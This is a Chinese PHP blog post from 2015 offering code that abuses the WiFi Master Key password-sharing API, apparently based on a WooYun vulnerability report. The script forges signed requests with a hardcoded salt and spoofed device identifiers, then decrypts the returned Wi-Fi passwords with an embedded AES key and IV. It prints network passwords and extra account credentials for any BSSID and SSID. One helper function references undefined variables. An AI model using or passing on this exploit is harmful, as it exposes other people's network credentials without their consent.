WIFI万能钥匙密码查询接口实例


Posted in PHP onSeptember 28, 2015

不废话了,直接给大家贴代码了

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retSn);
   $ret = json_decode( $ret );
   if ( $ret ->retCd == 0){
     if ( $ret ->qryapwd->retCd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'SSID: ' . $wifi ->ssid. "\n" ;
         echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
         echo 'BSSID: ' . $wifi ->bssid. "\n" ;
         if ( $wifi ->xUser){
           echo 'xUser: ' . $wifi ->xUser. "\n" ;
           echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retMsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
   curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
   curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
   curl_setopt( $curl , CURLOPT_POST, true); // enable posting
   curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
   curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registerNewDevice(){
   $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
   //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

PHP 相关文章推荐
php中导出数据到excel时数字变为科学计数的解决方法
Feb 03 PHP
CI(CodeIgniter)框架配置
Jun 10 PHP
php与flash as3 socket通信传送文件实现代码
Aug 16 PHP
PHP中UNIX时间戳和日期间的转换与计算实例
Nov 19 PHP
网站防止被刷票的一些思路与方法
Jan 08 PHP
PHP实现扎金花游戏之大小比赛的方法
Mar 10 PHP
学习php设计模式 php实现适配器模式
Dec 07 PHP
CodeIgniter扩展核心类实例详解
Jan 20 PHP
[原创]php使用strpos判断字符串中数字类型子字符串出错的解决方法
Apr 01 PHP
Laravel中encrypt和decrypt的实现方法
Sep 24 PHP
PHP实现使用DOM将XML数据存入数组的方法示例
Sep 27 PHP
实例讲解PHP页面静态化
Feb 05 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 #PHP
培养自己的php编码规范
Sep 28 #PHP
ThinkPHP数据操作方法总结
Sep 28 #PHP
ThinkPHP表单数据智能写入create方法实例分析
Sep 27 #PHP
PHP+MySQL之Insert Into数据插入用法分析
Sep 27 #PHP
ThinkPHP中数据操作案例分析
Sep 27 #PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 #PHP
You might like
php zend 相对路径问题
2009/01/12 PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
2012/05/16 PHP
PHP MPDF中文乱码的解决方式
2015/12/08 PHP
jquery序列化表单去除指定元素示例代码
2014/04/10 Javascript
JavaScript AJAX之惰性载入函数
2014/08/27 Javascript
ECMAScript6新增值比较函数Object.is
2015/06/12 Javascript
smartcrop.js智能图片裁剪库
2015/10/14 Javascript
JS实现自动阅读单词(有道单词本添加功能)
2016/11/14 Javascript
JavaScript实现数组降维详解
2017/01/05 Javascript
js实现图片360度旋转
2017/01/22 Javascript
angular中使用Socket.io实例代码
2017/06/03 Javascript
最后说说Vue2 SSR 的 Cookies 问题
2018/05/25 Javascript
validform表单验证的实现方法
2019/03/08 Javascript
laravel-admin 与 vue 结合使用实例代码详解
2019/06/04 Javascript
ES6 Object属性新的写法实例小结
2019/06/25 Javascript
Vue v-text指令简单使用方法示例
2019/09/19 Javascript
vue 实现LED数字时钟效果(开箱即用)
2019/12/08 Javascript
Electron 打包问题:electron-builder 下载各种依赖出错(推荐)
2020/07/09 Javascript
Vue实现input宽度随文字长度自适应操作
2020/07/29 Javascript
[02:52]DOTA2新手基础教程 米波
2014/01/21 DOTA
[28:42]Ti4正赛VG vs NEWBEE1
2014/07/19 DOTA
[01:08:24]DOTA2-DPC中国联赛 正赛 RNG vs Phoenix BO3 第一场 2月5日
2021/03/11 DOTA
纯python实现机器学习之kNN算法示例
2018/03/01 Python
python十进制和二进制的转换方法(含浮点数)
2018/07/07 Python
示例详解Python3 or Python2 两者之间的差异
2018/08/23 Python
使用Python函数进行模块化的实现
2019/11/15 Python
Python3.7将普通图片(png)转换为SVG图片格式(网站logo图标)动起来
2020/04/21 Python
Python爬虫之Selenium设置元素等待的方法
2020/12/04 Python
莫斯科绝对前卫最秘密的商店:SVMoscow
2017/10/23 全球购物
医大实习自我鉴定
2013/12/07 职场文书
关于奉献的演讲稿
2014/05/21 职场文书
旅游文化节策划方案
2014/06/06 职场文书
银行进社区活动总结
2014/07/07 职场文书
新店开业策划方案怎么书写?
2019/07/05 职场文书
C站最全Python标准库总结,你想要的都在这里
2021/07/03 Python
Python 如何利用ffmpeg 处理视频素材
2021/11/27 Python